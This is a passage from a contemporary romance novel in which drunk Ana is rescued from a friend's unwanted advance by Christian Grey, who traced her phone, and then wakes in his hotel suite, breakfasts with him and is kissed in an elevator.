quite drunk - my head swims uncomfortably as I shuffle with the +line. Well, the object of the exercise was to get drunk. I have succeeded. This is what it’s +like - probably not an experience to be repeated. The line has moved, and it’s now my +turn. I stare blankly at the poster on the back of the toilet door that extols the virtues of +safe sex. Holy crap, did I just call Christian Grey? Shit. My phone rings and it makes me +jump. I yelp in surprise. + +“Hi,” I bleat timidly in to the phone. I hadn’t reckoned on this. + +“I’m coming to get you,” he says and hangs up. Only Christian Grey could sound so +calm and so threatening at the same time. + +Holy crap. I pull my jeans up. My heart is thumping. Coming to get me? Oh no. I’m +going to be sick. . . no. . . I’m fine. Hang on. He’s just messing with my head. I didn’t tell +him where I was. He can’t find me here. Besides, it will take him hours to get here from +Seattle, and we’ll be long gone by then. I wash my hands and check my face in the mirror. + +I look flushed and slightly unfocused. Hmm. . . tequila. + + +I wait at the bar for what feels like an eternity for the pitcher of beer and eventually +return to the table. + +“You’ve been gone so long.” Kate scolds me. “Where were you?” + +“I was in line for the restroom.” + +Jose and Levi are having some heated debate about our local baseball team. Jose +pauses in his tirade to pour us all beers, and I take a long sip. + +“Kate, I think I’d better step outside and get some fresh air.” + +“Ana, you are such a lightweight.” + +“I’ll be five minutes.” + +I make my way through the crowd again. I am beginning to feel nauseous, my head is +spinning uncomfortably, and I’m a little unsteady on my feet. More unsteady than usual. + +Drinking in the cool evening air in the parking lot makes me realize how drunk I am. + +My vision has been affected, and I’m really seeing double of everything like in old re-runs +of Tom and Jerry Cartoons. I think I’m going to be sick. Why did I let myself get this +messed up? + +“Ana,” Jose has joined me. “You okay?” + +“I think I’ve just had a bit too much to drink.” I smile weakly at him. + +“Me too,” he murmurs, and his dark eyes are watching me intently. “Do you need a +hand?” he asks and steps closer, putting his arm around me. + +“Jose I’m okay. I’ve got this.” I try and push him away rather feebly. + +“Ana, please,” he whispers, and now he’s holding me in his arms, pulling me close. + +“Jose, what you doing?” + +“You know I like you Ana, please.” He has one hand at the small of my back holding +me against him, the other at my chin tipping back my head. Holy fuck... he’s going to kiss +me. + +“No Jose, stop - no.” I push him, but he’s a wall of hard muscle, and I cannot shift him. +His hand has slipped into my hair, and he’s holding my head in place. + +“Please, Ana, carina,” he whispers against my lips. His breath is soft and smells too +sweet - of margarita and beer. He gently trails kisses along my jaw up to the side of my +mouth. I feel panicky, drunk, and out of control. The feeling is suffocating. + +“Jose, no,” I plead. I don’t want this. You are my friend, and I think I’m going to throw +up. + +“I think the lady said no.” A voice in the dark says quietly. Holy shit! Christian Grey, +he’s here. How? Jose releases me. + +“Grey,” he says tersely. I glance anxiously up at Christian. He’s glowering at Jose, +and he’s furious. Crap. My stomach heaves, and I double over, my body no longer able to +tolerate the alcohol, and I vomit spectacularly on to the ground. + +“Ugh - Dios mio, Ana!” Jose jumps back in disgust. Grey grabs my hair and pulls it +out of the firing line and gently leads me over to a raised flowerbed on the edge of the park- +ing lot. I note, with deep gratitude, that it’s in relative darkness. + +“If you’re going to throw up again, do it here. I’ll hold you.” He has one arm around +my shoulders - the other is holding my hair in a makeshift ponytail down my back so it’s +off my face. I try awkwardly to push him away, but I vomit again... and again. Oh shit... +how long is this going to last? Even when my stomach’s empty and nothing is coming up, + + +horrible dry heaves wrack my body. I vow silently that I’ll never ever drink again. This is +just too appalling for words. Finally, it stops. + +My hands are resting on the brick wall of the flowerbed, barely holding me up - vomit- +ing profusely is exhausting. Grey takes his hands off me and passes me a handkerchief. +Only he would have a monogrammed, freshly laundered, linen handkerchief. CTG. I +didn’t know you could still buy these. Vaguely I wonder what the T stands for as I wipe +my mouth. I cannot bring myself to look at him. I’m swamped with shame, disgusted with +myself. I want to be swallowed up by the azaleas in the flowerbed and be anywhere but +here. + +Jose is still hovering by the entrance to the bar, watching us. I groan and put my head +in my hands. This has to be the single worst moment of my life. My head is still swimming +as I try to remember a worse one - and I can only come up with Christian’s rejection - and +this is so, so many shades darker in terms of humiliation. I risk a peek at him. He’s staring +down at me, his face composed, giving nothing away. Turning, I glance at Jose who looks +pretty shamefaced himself and, like me, intimidated by Grey. I glare at him. I have a few +choice words for my so-called friend, none of which I can repeat in front of Christian Grey +CEO. Ana who are you kidding, he’s just seen you hurl all over the ground and into the +local flora. There’s no disguising your lack of ladylike behavior. + +“I’ll err... see you inside,” Jose mutters, but we both ignore him, and he slinks off back +into the building. I’m on my own with Grey. Double crap. What should I say to him? +Apologize for the phone call. + +“I’m sorry,” I mutter, staring at the handkerchief which I am furiously worrying with +my fingers. It’s so soft. + +“What are you sorry for Anastasia?” + +Oh crap, he wants his damned pound of flesh. + +“The phone call mainly, being sick. Oh, the list is endless,” I murmur, feeling my skin +coloring up. Please, please can I die now? + +“We’ve all been here, perhaps not quite as dramatically as you,” he says dryly. “It’s +about knowing your limits, Anastasia. I mean, I’m all for pushing limits, but really this is +beyond the pale. Do you make a habit of this kind of behavior?” + +My head buzzes with excess alcohol and irritation. What the hell has it got to do with +him? I didn’t invite him here. He sounds like a middle-aged man scolding me like an er- +rant child. Part of me wants to say, if I want to get drunk every night like this, then it’s my +decision and nothing to do with him - but I’m not brave enough. Not now that I’ve thrown +up in front of him. Why is he still standing there? + +“No,” I say contritely. “I’ve never been drunk before and right now I have no desire +to ever be again.” + +I just don’t understand why he’s here. I begin to feel faint. He notices my dizziness and +grabs me before I fall and hoists me into his arms, holding me close to his chest like a child. + +“Come on, I’ll take you home,” he murmurs. + +“I need to tell Kate.” Holy Moses, I’m in his arms again. + +“My brother can tell her.” + +“What?” + +“My brother Elliot is talking to Miss Kavanagh.” + + +“Oh?” I don’t understand. + +“He was with me when you phoned.” + +“In Seattle?” I’m confused. + +“No, I’m staying at the Heathman.” + +Still? Why? + +“How did you find me?” + +“I tracked your cell phone Anastasia.” + +Oh, of course he did. How is that possible? Is it legal? Stalker, my subconscious +whispers at me through the cloud of tequila that’s still floating in my brain, but somehow, +because it’s him, I don’t mind. + +“Do you have a jacket or a purse?” + +“Err... yes, I came with both. Christian, please, I need to tell Kate. She’ll worry.” His +mouth presses into a hard line, and he sighs heavily. + +“If you must.” + +He sets me down, and, taking my hand, leads me back into the bar. I feel weak, still +drunk, embarrassed, exhausted, mortified, and on some strange level absolutely off the +scale thrilled. He’s clutching my hand - such a confusing array of emotions. I’ll need at +least a week to process them all. + +It’s noisy, crowded, and the music has started so there is a large crowd on the dance +floor. Kate is not at our table, and Jose has disappeared. Levi looks lost and forlorn on his +own. + +“Where’s Kate?” I shout at Levi above the noise. My head is beginning to pound in +time to the thumping bass line of the music. + +“Dancing,” Levi shouts, and I can tell he’s mad. He’s eyeing Christian suspiciously. + +I struggle into my black jacket and place my small shoulder bag over my head so it sits at +my hip. I’m ready to go, once I’ve seen Kate. + +“She’s on the dance floor,” I touch Christian’s arm and lean up and shout in his ear, +brushing his hair with my nose, smelling his clean, fresh smell. Oh my. All those forbid- +den, unfamiliar feelings that I have tried to deny surface and run amok through my drained +body. I flush, and somewhere deep, deep down my muscles clench deliciously. + +He rolls his eyes at me and takes my hand again and leads me to the bar. He’s served +immediately, no waiting for Mr. Control-Freak Grey. Does everything come so easily to +him? I can’t hear what he orders. He hands me a very large glass of iced water. + +“Drink,” he shouts his order at me. + +The moving lights are twisting and turning in time to the music casting strange colored +light and shadows all over the bar and the clientele. He’s alternately green, blue, white, and +a demonic red. He’s watching me intently. I take a tentative sip. + +“All of it,” he shouts. + +He’s so overbearing. He runs his hand through his unruly hair. He looks frustrated, +angry. What is his problem? Apart from a silly drunk girl ringing him in the middle of the +night so he thinks she needs rescuing. And it turns out she does from her over amorous +friend. Then seeing her being violently ill at his feet. Oh Ana... are you ever going to live +this down? My subconscious is figuratively tutting and glaring at me over her half moon +specs. I sway slightly, and he puts his hand on my shoulder to steady me. I do as I’m told + + +and drink the entire glass. It makes me feel queasy. Taking the glass from me, he places it +on the bar. I notice through a blur what he’s wearing; a loose white linen shirt, snug jeans, +black Converse sneakers, and a dark pinstriped jacket. His shirt is unbuttoned at the top, +and I see a sprinkling of hair in the gap. In my groggy frame of mind, he looks yummy. + +He takes my hand once more. Holy cow - he’s leading me onto the dance floor. Shit. + +I do not dance. He can sense my reluctance, and under the colored lights, I can see his +amused, slightly sardonic smile. He gives my hand a sharp tug, and I’m in his arms again, +and he starts to move, taking me with him. Boy, he can dance, and I can’t believe that I’m +following him step for step. Maybe it’s because I’m drunk that I can keep up. He’s hold- +ing me tight against him, his body against mine... if he wasn’t clutching me so tightly, I’m +sure I would swoon at his feet. In the back of my mind, my mother’s often-recited warning +comes to me: Never trust a man who can dance. + +He moves us through the crowded throng of dancers to the other side of the dance floor, +and we are beside Kate and Elliot, Christian’s brother. The music is pounding away, loud +and leery, outside and inside my head. I gasp. Kate is making her moves. She’s dancing +her ass off, and she only ever does that if she likes someone. Really likes someone. It +means there’ll be three of us for breakfast tomorrow morning. Kate! + +Christian leans over and shouts in Elliot’s ear. I cannot hear what he says. Elliot is +tall with wide shoulders, curly blonde hair, and light, wickedly gleaming eyes. I can’t tell +the color under the pulsating heat of the flashing lights. Elliot grins, and pulls Kate into +his arms, where she is more than happy to be... Kate! Even in my inebriated state, I am +shocked. She’s only just met him. She nods at whatever Elliot says and grins at me and +waves. Christian propels us off the dance floor in double quick time. + +But I never got to talk to her. Is she okay? I can see where things are heading for her +and him. I need to do the safe sex lecture. In the back of my mind, I hope she reads one of +the posters on the back of the toilet doors. My thoughts crash through my brain, fighting +the drunk, fuzzy feeling. It’s so warm in here, so loud, so colorful - too bright. My head +begins to swim, oh no... and I can feel the floor coming up to meet my face or so it feels. + +The last thing I hear before I pass out in Christian Grey’s arms is his harsh epithet. + +“Fuck!” + + +Chapter Five + + +It’s very quiet. The light is muted. I am comfortable and warm, in this bed. Hmm... I +open my eyes, and for a moment, I’m tranquil and serene, enjoying the strange unfamiliar +surroundings. I have no idea where I am. The headboard behind me is in the shape of +a massive sun. It’s oddly familiar. The room is large and airy and plushly furnished in +browns and golds and beige. I have seen it before. Where? My befuddled brain struggles +through its recent visual memories. Holy crap. I’m in the Heathman hotel... in a suite. I +have stood in a room similar to this with Kate. This looks bigger. Oh shit. I’m in Christian +Grey’s suite. How did I get here? + +Fractured memories of the previous night come slowly back to haunt me. The drink- +ing, oh no the drinking, the phone call, oh no the phone call, the vomiting, oh no the vomit- +ing. Jose and then Christian. Oh no. I cringe inwardly. I don’t remember coming here. + +I’m wearing my t-shirt, bra, and panties. No socks. No jeans. Holy shit. + +I glance at the bedside table. On it is a glass of orange juice and two tablets. Advil. +Control freak that he is, he thinks of everything. I sit up and take the tablets. Actually, I +don’t feel that bad, probably much better than I deserve. The orange juice tastes divine. + +It’s thirst quenching and refreshing. Nothing beats freshly squeezed orange juice for reviv- +ing an arid mouth. + +There’s a knock on the door. My heart leaps into my mouth, and I can’t seem to find +my voice. He opens the door anyway and strolls in. + + +Holy hell, he’s been working out. He’s in gray sweat pants that hang, in that way, off +his hips and a gray singlet, which is dark with sweat, like his hair. Christian Grey’s sweat, +the notion does odd things to me. I take a deep breath and close my eyes. I feel like a two- +year old, if I close my eyes then I’m not really here. + +“Good morning Anastasia. How are you feeling?” + +Oh no. + +“Better than I deserve,” I mumble. + +I peek up at him. He places a large shopping bag on a chair and grasps each end of the +towel that he has around his neck. He’s staring at me, gray eyes dark, and as usual, I have +no idea what he’s thinking. He hides his thoughts and feelings so well. + +“How did I get here?” My voice is small, contrite. + +He comes and sits down on the edge of the bed. He’s close enough for me to touch, for +me to smell. Oh my... sweat and body wash and Christian, it’s a heady cocktail - so much +better than a margarita, and now I can speak from experience. + +“After you passed out, I didn’t want to risk the leather upholstery in my car taking you +all the way to your apartment. So I brought you here,” he says phlegmatically. + +“Did you put me to bed?” + +“Yes.” His face is impassive. + +“Did I throw up again?” My voice is quieter. + +“No.” + +“Did you undress me?” I whisper. + +“Yes.” He quirks an eyebrow at me as I blush furiously. + +“We didn’t,” I whisper, my mouth drying in mortified horror as I can’t complete the +question. I stare at my hands. + +“Anastasia, you were comatose. Necrophilia is not my thing. I like my women sen- +tient and receptive,” he says dryly. + +“I’m so sorry.” + +His mouth lifts slightly in a wry smile. + +“It was a very diverting evening. Not one that I’ll forget in a while.” + +Me neither - oh he’s laughing at me, the bastard. I didn’t ask him to come and get me. +Somehow I’ve been made to feel like the villain of the piece. + +“You didn’t have to track me down with whatever James Bond stuff you’re developing +for the highest bidder,” I snap at him. He stares at me, surprised, and if I’m not mistaken, +a little wounded. + +“Firstly, the technology to track cell phones is available over the Internet. Secondly, +my company does not invest or manufacture any kind of surveillance devices, and thirdly, +if I hadn’t come to get you, you’d probably be waking up in the photographer’s bed, and +from what I can remember, you weren’t overly enthused about him pressing his suit,” he +says acidly. + +Pressing his suit! I glance up at Christian, he’s glaring at me, his gray eyes blazing, +aggrieved. I try to bite my lip, but I fail to repress my laughter. + +“Which medieval chronicle did you escape from?” I giggle. “You sound like a courtly +knight.” + + +His mood visibly shifts. His eyes soften and his expression warms, and I see a trace of +a smile on his beautifully chiseled lips. + +“Anastasia, I don’t think so. Dark knight maybe.” His smile is sardonic, and he shakes +his head. “Did you eat last night?” His tone is accusatory. I shake my head. What major +transgression have I committed now? His jaw clenches, but his face remains impassive. + +“You need to eat. That’s why you were so ill. Honestly Anastasia, it’s drinking rule +number one.” He runs this hand through his hair, and I know it’s because he’s exasperated. + +“Are you going to continue to scold me?” + +“Is that what I’m doing?” + +“I think so.” + +“You’re lucky I’m just scolding you.” + +“What do you mean?” + +“Well, if you were mine, you wouldn’t be able to sit down for a week after the stunt +you pulled yesterday. You didn’t eat, you got drunk, you put yourself at risk.” He closes his +eyes, dread etched on his lovely face, and he shudders slightly. When he opens his eyes, +he glares at me. “I hate to think what could have happened to you.” + +I scowl back at him. What is his problem? What’s it to him? If I was his. . . well I’m +not. Though maybe, part of me would like to be. The thought pierces through the irritation +I feel at his high-handed words. I flush at the waywardness of my subconscious - she’s do- +ing her happy dance in a bright red hula skirt at the thought of being his. + +“I would have been fine. I was with Kate.” + +“And the photographer?” he snaps at me. + +Hmm... young Jose. I’ll need to face him at some point. + +“Jose just got out of line.” I shrug. + +“Well the next time he gets out of line, maybe someone should teach him some man- +ners.” + +“You are quite the disciplinarian,” I hiss at him. + +“Oh, Anastasia, you have no idea.” His eyes narrow, and then he grins wickedly. It’s +disarming. One minute, I’m confused and angry, the next I’m gazing at his gorgeous smile. +Wow... I am entranced, and it’s because his smile is so rare. I quite forget what he’s talk- +ing about. + +“I’m going to have a shower. Unless you’d like to shower first?” He cocks his head +to one side, still grinning. My heartbeat has picked up, and my medulla oblongata has ne- +glected to fire any synapses to make me breathe. His grin widens, and he reaches over and +runs his thumb down my cheek and across my lower lip. + +“Breathe, Anastasia,” he whispers and rises. “Breakfast will be here in fifteen minutes. +You must be famished.” He heads into the bathroom and closes the door. + +I let out the breath that I’ve been holding. Why is he so damned attractive? Right +now I want to go and join him in the shower. I have never felt this way about anyone. My +hormones are racing. My skin tingles where his thumb traced over my face and lower lip. + +I feel like squirming with a needy, achy... discomfort. I don’t understand this reaction. +Hmm... Desire. This is desire. This is what it feels like. + +I lie back on the soft feather filled pillows. ‘If you were mine.’ Oh my - what would I +do to be his? He’s the only man who has ever set my blood racing around my body. Yet, + + +he’s so antagonizing too; he’s difficult, complicated, and confusing. One minute he rebuffs +me, the next he sends me fourteen-thousand-dollar books, then he tracks me like a stalker. +And for all that, I have spent the night in his hotel suite, and I feel safe. Protected. He cares +enough to come and rescue me from some mistakenly perceived danger. He’s not a dark +knight at all, but a white knight in shining, dazzling armor - a classic romantic hero - Sir +Gawain or Lancelot. + +I scramble out of his bed frantically searching for my jeans. He emerges from the bath- +room wet and glistening from the shower, still unshaven, with just a towel around his waist, +and there am I - all bare legs and awkward gawkiness. He’s surprised to see me out of bed. + +“If you’re looking for your jeans, I’ve sent them to the laundry.” His gaze is a dark +obsidian. “They were spattered with your vomit.” + +“Oh.” I flush scarlet. Why oh why does he always catch me on the back foot? + +“I sent Taylor out for another pair and some shoes. They’re in the bag on the chair.” + +Clean clothes. What an unexpected bonus. + +“Urn... I’ll have a shower,” I mutter. “Thanks.” What else can I say? I grab the bag +and dart into the bathroom away from the unnerving proximity of naked Christian. Michel- +angelo’s David has nothing on him. + +In the bathroom, it’s all hot and steamy from where he’s been showering. I strip off +my clothes and quickly clamber into the shower anxious to be under the cleansing stream +of water. It cascades over me, and I hold up my face into the welcoming torrent. I want +Christian Grey. I want him badly. Simple fact. For the first time in my life, I want to go +to bed with a man. I want to feel his hands and his mouth on me. + +He said he likes his women sentient. He’s probably not celibate then. But he’s not +made a pass at me, unlike Paul or Jose. I don’t understand. Does he want me? He +wouldn’t kiss me last week. Am I repellent to him? And yet, I’m here and he brought me +here. I just don’t know what his game is? What he’s thinking? You’ve slept in his bed all +night, and he’s not touched you Ana. You do the math. My subconscious has reared her +ugly, snide head. I ignore her. + +The water is warm and soothing. Hmm... I could stay under this shower, in his bath- +room, forever. I reach for the body-wash and it smells of him. It’s a delicious smell. I rub +it all over myself, fantasizing that it’s him - him rubbing this heavenly scented soap into +my body, across my breasts, over my stomach, between my thighs with his long fingered +hands. Oh my. My heartbeat picks up again, this feels so... so good. + +“Breakfast is here.” He knocks on the door, startling me. + +“Okay,” I stutter as I’m yanked cruelly out of my erotic daydream. + +I climb out of the shower and grab two towels. I put my hair in one and wrap it Carmen +Miranda style on my head. Hastily, I dry myself, ignoring the pleasurable feel of the towel +rubbing against my over-sensitized skin. + +I inspect the bag of jeans. Not only has Taylor brought me jeans and new Converse, +but a pale blue shirt, socks, and underwear. Oh my. A clean bra and panties - actually to +describe them in such a mundane, utilitarian way does not do them justice. They are an +exquisite design of some fancy European lingerie. All pale blue lace and finery. Wow. I +am in awe and slightly daunted by this underwear. . What’s more, they fit perfectly. But of + + +course they do. I flush to think of the Buzz-Cut man in some lingerie store buying this for +me. I wonder what else is in his job description. + +I dress quickly. The rest of the clothing is a perfect fit. I brusquely towel-dry my hair +and try desperately to bring it under control. But, as usual, it refuses to cooperate, and my +only option is to restrain it with a hair tie. I shall search in my purse, when I find it. I take +a deep breath. Time to face Mr. Confusing. + +I’m relieved to find the bedroom empty. I hunt quickly for my purse - but it’s not in +here. Taking another deep breath, I enter the living area of the suite. It’s huge. There’s an +opulent, plush seating area, all overstuffed couches and soft cushions, an elaborate coffee +table with a stack of large glossy books, a study area with a top-of-the-range Mac, an enor- +mous plasma screen TV on the wall, and Christian is sitting at a dining table on the other +side of the room reading a newspaper. It’s the size of a tennis court or something, not that +I play tennis, though I have watched Kate a few times. Kate! + +“Crap, Kate,” I croak. Christian peers up at me. + +“She knows you’re here and still alive. I texted Elliot,” he says with just a trace of +humor. + +Oh no. I remember her fervent dancing of the night before. All her patented moves +used with maximum effect to seduce Christian’s brother no less! What’s she going to think +about me being here? I’ve never stayed out before. She’s still with Elliot. She’s only done +this twice before, and both times I’ve had to endure the hideous pink PJs for a week from +the fallout. She’s going to think I’ve had a one-night stand too. + +Christian stares at me imperiously. He’s wearing a white linen shirt, collar and cuffs +undone. + +“Sit,” he commands, pointing to a place at the table. I make my way across the room +and sit down opposite him as I’ve been directed. The table is laden with food. + +“I didn’t know what you liked, so I ordered a selection from the breakfast menu.” He +gives me a crooked, apologetic smile. + +“That’s very profligate of you,” I murmur, bewildered by the choice, though I am hun- +gry. + +“Yes, it is.” He sounds guilty. + +I opt for pancakes, maple syrup, scrambled eggs, and bacon. Christian tries to hide a +smile as he returns to his egg white omelet. The food is delicious. + +“Tea?” he asks. + +“Yes, please.” + +He passes me a small teapot of hot water and on the saucer is a Twining’s English +Breakfast teabag. Jeez, he remembers how I like my tea. + +“Your hair’s very damp,” he scolds. + +“I couldn’t find the hairdryer,” I mutter, embarrassed. Not that I looked. + +Christian’s mouth presses into a hard line, but he doesn’t say anything. + +“Thank you for organizing the clothes.” + +“It’s a pleasure, Anastasia. That color suits you.” + +I blush and stare down at my fingers. + +“You know, you really should learn to take a compliment.” His tone is castigating. + +“I should give you some money for these clothes.” + + +He glares at me as if I have offended him on some level. I hurry on. + +“You’ve already given me the books, which, of course, I can’t accept. But these +clothes, please let me pay you back.” I smile tentatively at him. + +“Anastasia, trust me, I can afford it.” + +“That’s not the point. Why should you buy these for me?” + +“Because I can,” his eyes flash with a wicked gleam. + +“Just because you can doesn’t mean that you should,” I reply quietly as he arches an +eyebrow at me, his eyes twinkling, and suddenly I feel that we’re talking about something +else, but I don’t know what it is. Which reminds me... + +“Why did you send me the books, Christian?” My voice is soft. He puts down his +cutlery and regards me intently, his gray eyes burning with some unfathomable emotion. +Holy crap - my mouth dries. + +“Well, when you were nearly run over by the cyclist - and I was holding you and you +were looking up at me - all kiss me, kiss me, Christian,” he pauses and shrugs slightly, “I +felt I owed you an apology and a warning.” He runs his hand through his hair. “Anastasia, +I’m not a hearts and flowers kind of man, I don’t do romance. My tastes are very singular. +You should steer clear from me.” He closes his eyes as if in defeat. “There’s something +about you, though, and I’m finding it impossible to stay away. But I think you’ve figured +that out already.” + +My appetite vanishes. He can’t stay away! + +“Then don’t,” I whisper. + +He gasps, his eyes wide. + +“You don’t know what you’re saying.” + +“Enlighten me, then.” + +We sit gazing at each other, neither of us touching our food. + +“You’re not celibate then?” I breathe. + +Amusement lights up his gray eyes. + +“No, Anastasia, I’m not celibate.” He pauses for this information to sink in, and I flush +scarlet. The mouth-to-brain filter is broken again. I can’t believe I’ve just said that out +loud. + +“What are your plans for the next few days?” he asks, his voice low. + +“I’m working today, from midday. What is the time?” I panic suddenly. + +“It’s just after ten, you’ve plenty of time. What about tomorrow?” He has his elbows +on the table, and his chin is resting on his long steepled fingers. + +“Kate and I are going to start packing. We’re moving to Seattle next weekend, and I’m +working at Clayton’s all this week.” + +“You have a place in Seattle already?” + +“Yes.” + +“Where?” + +“I can’t remember the address. It’s in the Pike Market District.” + +“Not far from me,” his lips twitch up in a half smile. “So what are you going to do for +work in Seattle?” + +Where is he going with all these questions? The Christian Grey Inquisition is almost +as irritating as the Katherine Kavanagh Inquisition. + + +“I’ve applied for some internships. I’m waiting to hear.” + +“Have you applied to my company as I suggested?” + +I flush... of course not. + +“Urn... no.” + +“And what’s wrong with my company?” + +“Your company or your Company?” I smirk. + +He smiles slightly. + +“Are you smirking at me, Miss Steele?” He cocks his head to one side, and I think he +looks amused, but it’s hard to tell. I flush and glance down at my unfinished breakfast. I +can’t look him in the eye when he uses that tone of voice. + +“I’d like to bite that lip,” he whispers darkly. + +Oh my. I am completely unaware that I am chewing my bottom lip. My mouth pops +open as I gasp and swallow at the same time. That has to be the sexiest thing anybody has +ever said to me. My heart beat spikes, and I think I’m panting. Jeez, I’m a quivering, moist +mess, and he hasn’t even touched me. I squirm in my seat and meet his dark glare. + +“Why don’t you?” I challenge quietly. + +“Because I’m not going to touch you Anastasia - not until I have your written consent +to do so.” His lips hint at a smile. + +What? + +“What does that mean?” + +“Exactly what I say.” He sighs and shakes his head at me, amused, but exasperated too. +“I need to show you, Anastasia. What time do you finish work this evening?” + +“About eight.” + +“Well, we could go to Seattle this evening or next Saturday for dinner at my place, and +I’ll acquaint you with the facts then. The choice is yours.” + +“Why can’t you tell me now?” I sound petulant. + +“Because I’m enjoying my breakfast and your company. Once you’re enlightened, you +probably won’t want to see me again.” + +Holy shit. What does that mean? Does he white-slave small children to some God- +forsaken part of the planet? Is he part of some underworld crime syndicate? It would ex- +plain why he’s so rich. Is he deeply religious? Is he impotent? Surely not, he could prove +that to me right now. Oh my. I flush scarlet thinking about the possibilities. This is getting +me nowhere. I’d like to solve the riddle that is Christian Grey sooner rather than later. If it +means that whatever secret he has is so gross that I don’t want to know him any more then, +quite frankly, it will be a relief. Don’t lie to yourself - my subconscious yells at me- it’ll +have to be pretty bloody bad to have you running for the hills. + +“Tonight.” + +He raises an eyebrow. + +“Like Eve, you’re so quick to eat from the tree of knowledge,” he smirks. + +“Are you smirking at me, Mr. Grey?” I ask sweetly. Pompous ass. + +He narrows his eyes at me and picks up his BlackBerry. He presses one number. + +“Taylor. I’m going to need Charlie Tango.” + +Charlie Tango! Who’s he? + +“From Portland at say twenty-thirty... No, standby at Escala... All night.” + + +All night! + +“Yes. On call tomorrow morninq. I’ll pilot from Portland to Seattle.” + +Pilot? + +“Standby pilot from twenty -two-thirty.” He puts the phone down. No please or thank + +you. + +“Do people always do what you tell them?” + +“Usually, if they want to keep their jobs,” he says, deadpan. + +“And if they don’t work for you?” + +“Oh, I can be very persuasive, Anastasia. You should finish your breakfast. And then +I’ll drop you home. I’ll pick you up at Clayton’s at eight when you finish. We’ll fly up to +Seattle.” + +I blink at him rapidly. + +“Fly?” + +“Yes. I have a helicopter.” + +I gape at him. I have my second date with Christian oh-so-mysterious Grey. From +coffee to helicopter rides. Wow. + +“We’ll go by helicopter to Seattle?” + +“Yes.” + +“Why?” + +He grins wickedly. + +“Because I can. Finish your breakfast.” + +How can I eat now? I’m going to Seattle by helicopter with Christian Grey. And he +wants to bite my lip... I squirm at the thought + +“Eat,” he says more sharply. “Anastasia, I have an issue with wasted food... eat.” + +“I can’t eat all this.” I gape at what’s left on the table. + +“Eat what’s on your plate. If you’d eaten properly yesterday, you wouldn’t be here, and +I wouldn’t be declaring my hand so soon.” His mouth sets in a grim line. He looks angry. + +I frown and return to my now cold food. I’m too excited to eat, Christian. Don’t you +understand? My subconscious explains. But I’m too much of a coward to voice these +thoughts aloud, especially when he looks so sullen. Hmm, like a small boy. I find the +thought amusing. + +“What’s so funny?” he asks. I shake my head, not daring tell him and keep my eyes +on my food. Swallowing my last piece of pancake, I peek up at him. He’s eyeing me +speculatively. + +“Good girl,” he says. “I’ll take you home when you’ve dried your hair. I don’t want +you getting ill.” There’s some kind of unspoken promise in his words. What does he +mean? I leave the table, wondering for a moment if I should ask permission but dismissing +the idea. Sounds like a dangerous precedent to set. I head back to his bedroom. A thought +stops me. + +“Where did you sleep last night?” I turn to gaze at him still sitting in the dining room +chair. I can’t see any blankets or sheets out here - perhaps he’s had them tidied away. + +“In my bed,” he says simply, his gaze impassive again. + +“Oh.” + +“Yes, it was quite a novelty for me too.” He smiles. + + +“Not having... sex.” There - I said the word. I blush - of course. + +“No,” he shakes his head and frowns as if recalling something uncomfortable. “Sleep- +ing with someone.” He picks up his newspaper and continues to read. + +What in heaven’s name does that mean? He’s never slept with anyone? He’s a vir- +gin? Somehow I doubt that. I stand staring at him in disbelief. He is the most mystifying +person I’ve ever met. And it dawns on me that I have slept with Christian Grey, and I kick +myself - what would I have given to be conscious to watch him sleep. See him vulnerable. +Somehow, I find that hard to imagine. Well, allegedly all will be revealed tonight. + +In his bedroom, I hunt through a chest of drawers and find the hair dryer. Using my +fingers, I dry my hair the best I can. When I’ve finished, I head into the bathroom. I want +to clean my teeth. I eye Christian’s toothbrush. It would be like having him in my mouth. +Hmm... Glancing guiltily over my shoulder at the door, I feel the bristles on the toothbrush. +They are damp. He must have used it already. Grabbing it quickly, I squirt toothpaste on +it and brush my teeth in double quick time. I feel so naughty. It’s such a thrill. + +Grabbing my t-shirt, bra, and panties from yesterday, I put them in the shopping bag +that Taylor brought and head back to the living area to hunt for my bag and jacket. Deep +joy, there is a hair tie in my bag. Christian is watching me as I tie my hair into a ponytail, +his expression unreadable. I feel his eyes follow me as I sit down and wait for him to finish. +He’s on his BlackBerry talking to someone. + +“They want two?... How much will that cost?... Okay, and what safety measures do we +have in place?... And they’ll go via Suez?... How safe is Ben Sudan?... And when do they +arrive in Darfur?... Okay, let’s do it. Keep me abreast of progress.” He hangs up. + +“Ready to go?” + +I nod. I wonder what his conversation was about. He slips on a navy pinstriped jacket, +picks up his car keys, and heads for the door. + +“After you, Miss Steele,” he murmurs, opening the door for me. He looks so casually +elegant. + +I pause, fractionally too long, drinking in the sight of him. And to think I slept with +him last night and, after all the tequila and the throwing up, he’s still here. What’s more, he +wants to take me to Seattle. Why me? I don’t understand it. I head out the door recalling +his words - There’s something about you - Well the feeling is entirely mutual Mr. Grey, +and I aim to find out what it is. + +We walk in silence down the corridor toward the elevator. As we wait, I peek up at +him through my lashes, and he looks out of the corner of his eyes down at me. I smile, and +his lips twitch. + +The elevator arrives, and we step in. We’re alone. Suddenly, for some inexplica- +ble reason, possibly our proximity in such an enclosed space, the atmosphere between us +changes, charging with an electric, exhilarating anticipation. My breathing alters as my +heart races. His head turns fractionally toward me, his eyes darkest slate. I bite my lip. + +“Oh, fuck the paperwork,” he growls. He lunges at me, pushing me against the wall +of the elevator. Before I know it, he’s got both of my hands in one of his in a vice-like grip +above my head, and he’s pinning me to the wall using his hips. Holy shit. His other hand +grabs my ponytail and yanks down, bringing my face up, and his lips are on mine. It’s +only just not painful. I moan into his mouth, giving his tongue an opening. He takes full + + +advantage, his tongue expertly exploring my mouth. I have never been kissed like this. + +My tongue tentatively strokes his and joins his in a slow erotic dance that’s all about touch +and sensation, all bump and grind. He brings his hand up to grasp my chin and holds me +in place. I am helpless, my hands pinned, my face held, and his hips restraining me. . I feel +his erection against my belly. Oh my... He wants me. Christian Grey, Greek god, wants +me, and I want him, here... now, in the elevator. + +“You. Are. So. Sweet,” he murmurs, each word a staccato. + +The elevator stops, the doors open, and he pushes away from me in the blink of an eye, +leaving me hanging. Three men in business suits look at both of us and smirk as they climb +on board. My heart rate is through the roof, I feel like I’ve run an uphill race. I want to +lean over and grasp my knees. . . but that’s just too obvious. + +I glance up at him. He looks so cool and calm, like he’s been doing the Seattle Times +crossword. How unfair. Is he totally unaffected by my presence? He glances at me out +of the corner of his eye, and he gently blows out a deep breath. Oh, he’s affected all right +- and my very small inner goddess sways in a gentle victorious samba. The businessmen +exit on the second floor. We have one more floor to travel. + +“You’ve brushed your teeth,” he says, staring at me. + +“I used your toothbrush,” I breathe. + +His lips quirk up in a half smile. + +“Oh, Anastasia Steele, what am I going to do with you?” + +The doors open 